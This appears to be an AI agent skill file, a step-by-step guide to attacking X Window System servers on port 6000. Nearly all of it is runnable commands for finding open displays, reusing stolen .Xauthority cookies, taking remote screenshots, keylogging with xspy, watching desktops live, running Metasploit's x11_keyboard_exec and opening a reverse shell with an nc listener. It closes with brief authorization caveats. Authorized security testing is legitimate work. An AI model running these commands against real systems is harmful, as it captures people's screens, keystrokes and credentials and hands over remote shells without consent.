| name | x11-pentesting |
| description | Perform X11 (X Window System) security assessments and exploitation on port 6000. Use this skill whenever the user mentions X11, port 6000, X Window System, graphical interface pentesting, or needs to enumerate/exploit unauthenticated X11 access. This includes checking for anonymous connections, capturing screenshots, keylogging, remote desktop viewing, and obtaining shells through X11 vulnerabilities. |
X11 Pentesting Skill
A comprehensive skill for assessing and exploiting X11 (X Window System) vulnerabilities on port 6000.
When to Use This Skill
Use this skill when:
- Port 6000 is open on a target and you need to assess X11 security
- You need to check for anonymous/unauthenticated X11 access
- You want to enumerate X11 sessions and display information
- You need to capture screenshots from a remote X11 display
- You want to monitor keystrokes on an X11 session
- You need to view a remote desktop through X11
- You're attempting to gain shell access through X11 exploits
Quick Start
nmap -sV --script x11-access -p 6000 <TARGET_IP>
xdpyinfo -display <TARGET_IP>:0
Enumeration
Check for Anonymous Connection
Use these methods to detect if X11 allows unauthenticated access:
nmap -sV --script x11-access -p 6000 <TARGET_IP>
msfconsole
use auxiliary/scanner/x11/open_x11
set RHOSTS <TARGET_IP>
run
Local Enumeration
The .Xauthority file in a user's home directory contains the MIT magic cookie used for X11 authorization:
xxd ~/.Xauthority
echo $XAUTHORITY
The cookie is a 128-bit key stored in plain text. To use a captured cookie:
export XAUTHORITY=/path/to/.Xauthority
Enumerate Active Sessions
w
Connection Verification
Before attempting exploitation, verify you can connect to the X11 server:
xdpyinfo -display <TARGET_IP>:<DISPLAY>
xwininfo -root -tree -display <TARGET_IP>:<DISPLAY>
xwininfo -root -tree -display 10.5.5.12:0
Screenshots
Capture screenshots from a remote X11 display:
xwd -root -screen -silent -display <TARGET_IP>:0 > screenshot.xwd
convert screenshot.xwd screenshot.png
xwd -display <TARGET_IP>:0 -root -silent | convert - xwd.png
Keylogging
Use xspy to capture keystrokes from an X11 session:
xspy <TARGET_IP>
Remote Desktop Viewing
Method 1: xrdp.py
./xrdp.py <TARGET_IP>:0
Method 2: xwatchwin for Live Viewing
xwininfo -root -display <TARGET_IP>:0
./xwatchwin <TARGET_IP>:0 -w <WINDOW_ID>
./xwatchwin 10.9.xx.xx:0 -w 0x45
./xwatchwin -v -u 100 <TARGET_IP>:0 -w 0x45
Shell Access
Metasploit Method
msfconsole
use exploit/unix/x11/x11_keyboard_exec
set RHOSTS <TARGET_IP>
set DISPLAY 0
run
Reverse Shell via xrdp.py
./xrdp.py <TARGET_IP>:0 --no-disp
nc -lvp 5555
Workflow Summary
- Reconnaissance: Scan for port 6000 and check for anonymous access
- Enumeration: Verify connection and gather display/window information
- Exploitation: Choose appropriate method based on access level
- Screenshots for visual reconnaissance
- Keylogging for credential capture
- Remote desktop for interactive access
- Shell exploits for command execution
- Post-Exploitation: Use captured credentials or established access for further operations
Tools Required
nmap - Port scanning and X11 detection
xdpyinfo - X11 display information
xwininfo - Window information
xwd - X Window Dump (screenshots)
ImageMagick (convert) - Image format conversion
xspy - Keylogging (Kali Linux)
xrdp.py - Remote desktop and shell access
xwatchwin - Live window viewing
Metasploit - Exploitation framework
Safety and Legal Considerations
- Only test systems you have explicit authorization to assess
- X11 exploitation can be detected by security monitoring
- Captured keystrokes may include sensitive credentials
- Document all findings for your security assessment report
References